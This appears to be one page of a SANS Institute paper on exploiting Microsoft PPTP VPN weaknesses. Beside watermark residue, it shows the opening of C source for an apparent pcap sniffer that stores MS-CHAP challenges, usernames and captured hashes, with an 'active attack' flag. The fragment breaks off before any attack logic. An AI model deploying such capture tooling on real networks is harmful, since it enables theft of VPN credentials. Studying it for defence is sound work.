Microsoft pptp vpn vulnerabilities Exploits in Action

© SANS Institute 2000 - 200
                                                5
, Author retains full rights.
 
 
 
 
 
 
 
 
 
 
 
 
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 
 
© SANS Institute 2000 - 200
5                                                                                                                 
Author retains full rights.
70
#endif
/*
* Since the are two independant Call ID's per call (one in each direction)
* and the only way to match them is by parsing the TCP control stream 
* (which we don't bother to do), we cannot use the Call IDs to match
* responces to challenges. We can only use IP addresses. This is not a
* problem if we have a desktop client connecting to a server, but will
* break if you have multiple clients authenticating at the same time
* via a network access server (ie. sharing the same source IP).
*/
struct challenge {
struct challenge *next;
/*  u_int16_t call_id; */
struct in_addr srv;
struct in_addr clt;
unsigned char challenge[16];
unsigned char name[64];
u_int8_t version;
};
 
struct challenge *challenges = NULL;
struct challenge *last = NULL;
int active_attack = 0;
FILE *hashes, *crs;
int debug = 0;
int rsd;
char outbuff[2048];
int main(int argc, char **argv)
{
int opt, offset;
pcap_t *pcap_h;
char *dev = NULL, error[PCAP_ERRBUF_SIZE];
const unsigned char *pkt;
struct bpf_program filter;
struct pcap_pkthdr pkthdr;
bpf_u_int32 net, mask;
while((opt = getopt(argc, argv, "d:v")) != -1)
{
switch(opt)
{
0

---